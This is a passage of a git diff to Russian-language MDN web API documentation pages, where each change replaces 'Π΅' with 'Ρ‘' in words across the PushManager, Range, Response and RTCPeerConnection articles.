Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚Ρ€Ρ‘Ρ… сСкунд.</span> <span>Π­Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ случаи, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Ρ‹ нСсколько Push </span></span>ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ подряд<span lang="ru"><span> ΠΈ Π½Π΅ всС Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Π²ΠΈΠ΄ΠΈΠΌΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅.</span></span></p>
</div>
<div class="note">
diff --git a/files/ru/web/api/pushmanager/subscribe/index.html b/files/ru/web/api/pushmanager/subscribe/index.html
index a264d593d7..008a7438d8 100644
--- a/files/ru/web/api/pushmanager/subscribe/index.html
+++ b/files/ru/web/api/pushmanager/subscribe/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/PushManager/subscribe
<p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">ΠœΠ΅Ρ‚ΠΎΠ΄Β </span></font><strong>subscribe()</strong></code> интСрфСйса {{domxref("PushManager")}} позволяСт ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΒ ΠΏΠΎΠ΄ΠΏΠΈΡΠΊΡƒ Π½Π° push-увСдомлСния.</p>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("PushSubscription")}}, содСрТащий Π΄Π΅Ρ‚Π°Π»ΠΈΒ push-подписки. Новая push-подписка создаСтся Π² случаС, Ссли сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ подписки.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref("Promise")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ΡΡ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("PushSubscription")}}, содСрТащий Π΄Π΅Ρ‚Π°Π»ΠΈΒ push-подписки. Новая push-подписка создаётся Π² случаС, Ссли сСрвис-Π²ΠΎΡ€ΠΊΠ΅Ρ€ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ подписки.</p>
<h2 id="Бинтакс">Бинтакс</h2>
@@ -52,7 +52,7 @@ navigator.serviceWorker.register('serviceworker.js').then(
// ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ XMLHttpRequest.</code>
}, function(error) {
<code>// ΠŸΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ это часто ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΡ‚Π»Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ ошибки Π² консоли.
- // Π’ ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½-срСдС это Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΡ‚Ρ‡Π΅Ρ‚Π°
+ // Π’ ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½-срСдС это Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π°
// ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… Π½Π° сСрвСр прилоТСния.</code>
console.log(error);
}
diff --git a/files/ru/web/api/range/surroundcontents/index.html b/files/ru/web/api/range/surroundcontents/index.html
index 5108735c19..863ef08fd7 100644
--- a/files/ru/web/api/range/surroundcontents/index.html
+++ b/files/ru/web/api/range/surroundcontents/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Range/surroundContents
<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β ΠΏΡ€ΠΈΠ±Π»ΠΈΠ·ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ эквивалСнтСн ΠΊΠΎΠ΄ΡƒΒ <code>newNode.appendChild(<a href="/en/DOM/range.extractContents" title="en/DOM/range.extractContents">range.extractContents()</a>); <a href="/en-US/docs/DOM/range.insertNode" title="/en-US/docs/DOM/range.insertNode">range.insertNode</a>(newNode)</code>. ПослС Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΊΡ€Π°ΠΉΠ½ΠΈΠ΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя <code>newNode</code>.</p>
-<p>Если {{ domxref("Range") }} Ρ€Π°Π·Π΄Π΅Π»ΡΠ΅Ρ‚Β Π»ΡŽΠ±ΠΎΠΉ Π½Π΅ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Text">тСкстовый</a> элСмСнт хотя Π±Ρ‹ ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ Π²Ρ‹ΡˆΠ΅, Ссли Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ Π΅ΡΡ‚ΡŒ частично Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ элСмСнты, ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, Π° вмСсто этого ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ошибка.</p>
+<p>Если {{ domxref("Range") }} Ρ€Π°Π·Π΄Π΅Π»ΡΠ΅Ρ‚Β Π»ΡŽΠ±ΠΎΠΉ Π½Π΅ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Text">тСкстовый</a> элСмСнт хотя Π±Ρ‹ ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ Π²Ρ‹ΡˆΠ΅, Ссли Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ Π΅ΡΡ‚ΡŒ частично Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ элСмСнты, ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, Π° вмСсто этого ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ ошибка.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html
index 30f50ac1a0..e32d4d23b9 100644
--- a/files/ru/web/api/response/index.html
+++ b/files/ru/web/api/response/index.html
@@ -14,7 +14,7 @@ translation_of: Web/API/Response
<p><span class="seoSummary">Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>Response</code></strong>Β ΠΈΠ·Β <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> прСдставляСт собой отвСт Π½Π° запрос.</span></p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Response</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β {{domxref("Response.Response()")}}, Π½ΠΎ скорСС всСго вы ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ ΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ <code>Response</code>,Β ΠΊΠ°ΠΊ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΊΠ°ΠΊΠΎΠΉ-Π½ΠΈΠ±ΡƒΠ΄ΡŒΒ API ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β service worker {{domxref("Fetchevent.respondWith")}}, ΠΈΠ»ΠΈΒ {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Response</code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β {{domxref("Response.Response()")}}, Π½ΠΎ скорСС всСго вы ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ ΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ <code>Response</code>,Β ΠΊΠ°ΠΊ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΊΠ°ΠΊΠΎΠΉ-Π½ΠΈΠ±ΡƒΠ΄ΡŒΒ API ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ β€” Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β service worker {{domxref("Fetchevent.respondWith")}}, ΠΈΠ»ΠΈΒ {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.</p>
<h2 id="ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€</h2>
diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
index 227387085a..4cc50b9e0b 100644
--- a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
+++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
@@ -7,9 +7,9 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
<div></div>
-<div><span class="seoSummary">Бвойство Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния <code><strong>canTrickleIceCandidates</strong></code>Β , ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <strong>{{domxref("RTCPeerConnection")}}</strong>, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° {{jsxref("Boolean")}} , ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Ρ‹, согласно спСцификации  <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>.</span></div>
+<div><span class="seoSummary">Бвойство Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния <code><strong>canTrickleIceCandidates</strong></code>Β , ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <strong>{{domxref("RTCPeerConnection")}}</strong>, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° {{jsxref("Boolean")}} , ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Ρ‹, согласно спСцификации  <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>.</span></div>
-<p><strong>ICE trickling (ICE просачиваниС)</strong>Β  - процСсс ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‰Π΅ΠΉΡΡΒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈΒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ², послС ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ прСдлоТСния ΠΈΠ»ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΏΠΈΡ€Ρƒ..</p>
+<p><strong>ICE trickling (ICE просачиваниС)</strong>Β  - процСсс ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‰Π΅ΠΉΡΡΒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈΒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ², послС ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ прСдлоТСния ΠΈΠ»ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΏΠΈΡ€Ρƒ..</p>
<p>Бвойство инициализируСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β  {{domxref("RTCPeerConnection.setRemoteDescription()")}}.Β  Π‘Ρ‹Π»ΠΎ Π±Ρ‹ идСально, Ссли Π±Ρ‹ ваш ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» сигнализации прСдоставлял способ опрСдСлСния ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ просачивания кандидатов, для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ Π½Π΅ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° это свойство. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉΒ WebRTC, всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΒ ICE просачиваниС.</p>
@@ -21,10 +21,10 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
<h3 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Π’ΠΈΠΏΒ  {{jsxref("Boolean")}} содСрТит <code>true</code>Β , Ссли ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΠ²Π΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅Β ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Ρ‹, ΠΈΒ Β <code>false</code>Β , Ссли Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚. Если ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ Π΅Ρ‰Π΅ Π½Π΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½, свойство Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>null</code>.</p>
+<p>Π’ΠΈΠΏΒ  {{jsxref("Boolean")}} содСрТит <code>true</code>Β , Ссли ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΠ²Π΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅Β ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Ρ‹, ΠΈΒ Β <code>false</code>Β , Ссли Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚. Если ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½, свойство Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <code>null</code>.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong>Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства инициализируСтся послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΈΡ€ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("RTCPeerConnection.setRemoteDescription()")}};Β  Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ описания ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π°Π³Π΅Π½Ρ‚ΠΎΠΌΒ ICE для опрСдСлСния возмоТности ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΈΡ€Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΠ°Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…ΡΡΒ  ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ².</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ :</strong>Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства инициализируСтся послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΈΡ€ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("RTCPeerConnection.setRemoteDescription()")}};Β  Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ описания ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π°Π³Π΅Π½Ρ‚ΠΎΠΌΒ ICE для опрСдСлСния возмоТности ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΠΈΡ€Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡΠ°Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…ΡΡΒ  ICE ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ².</p>
</div>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html
index b0ddb77eb3..09fa8f0f88 100644
--- a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html
+++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription
---
<p>{{WebRTCSidebar}}Β </p>
-<p>Волько для чтСния свойство  <code><strong>RTCPeerConnection.currentLocalDescription</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β  {{domxref("RTCSessionDescription")}} , ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ сторону соСдинСния, ΠΊΠ°ΠΊ  самый послСдний, ΡƒΠ΄Π°Ρ‡Π½ΠΎ согласованный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ описания, с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° послСднСго Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ согласования Β {{domxref("RTCPeerConnection")}} ΠΈ соСдинСния с ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ (участником соСдинСния) .Β </p>
+<p>Волько для чтСния свойство  <code><strong>RTCPeerConnection.currentLocalDescription</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β  {{domxref("RTCSessionDescription")}} , ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ сторону соСдинСния, ΠΊΠ°ΠΊ  самый послСдний, ΡƒΠ΄Π°Ρ‡Π½ΠΎ согласованный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ описания, с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° послСднСго Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ согласования Β {{domxref("RTCPeerConnection")}} ΠΈ соСдинСния с ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ (участником соСдинСния) .Β </p>
<p>Для измСнСния <code>currentLocalDescription</code>, Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("RTCPeerConnection.setLocalDescription()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт ΡΠ΅Ρ€ΠΈΡŽ событий, приводящих ΠΊ ΠΏΡ€ΠΈΡΠ²ΠΎΠ΅Π½ΠΈΡŽ значСния. Π‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎ происходит ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ измСнСния происходят Π½Π΅ сразу, смотритС   {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "ΠžΠΆΠΈΠ΄Π°ΡŽΡ‰ΠΈΠ΅ ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ описания")}}.</p>
@@ -34,7 +34,7 @@ if (sd) {
sd.sdp + "'");
}
else {
- alert("Π›ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ сСссии Π΅Ρ‰Π΅ Π½Π΅Ρ‚.");
+ alert("Π›ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ сСссии Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚.");
}
</pre>
diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html
index a894369844..8793f0e379 100644
--- a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html
+++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription
---
<p>{{WebRTCSidebar}}</p>
-<p>Волько для чтСния свойство <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β  {{domxref("RTCSessionDescription")}} , ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΡƒΠ΄Π°Π»Π΅Π½Π½ΡƒΡŽ сторону соСдинСния, ΠΊΠ°ΠΊ послСдний, ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ согласованный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΄Π°Π½Π½Ρ‹Ρ…, с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ согласования ΠΈ установки соСдинСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ {{domxref("RTCPeerConnection")}} с ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ.Β </p>
+<p>Волько для чтСния свойство <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β  {{domxref("RTCSessionDescription")}} , ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΡƒΡŽ сторону соСдинСния, ΠΊΠ°ΠΊ послСдний, ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ согласованный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΄Π°Π½Π½Ρ‹Ρ…, с ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ согласования ΠΈ установки соСдинСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ {{domxref("RTCPeerConnection")}} с ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ.Β </p>
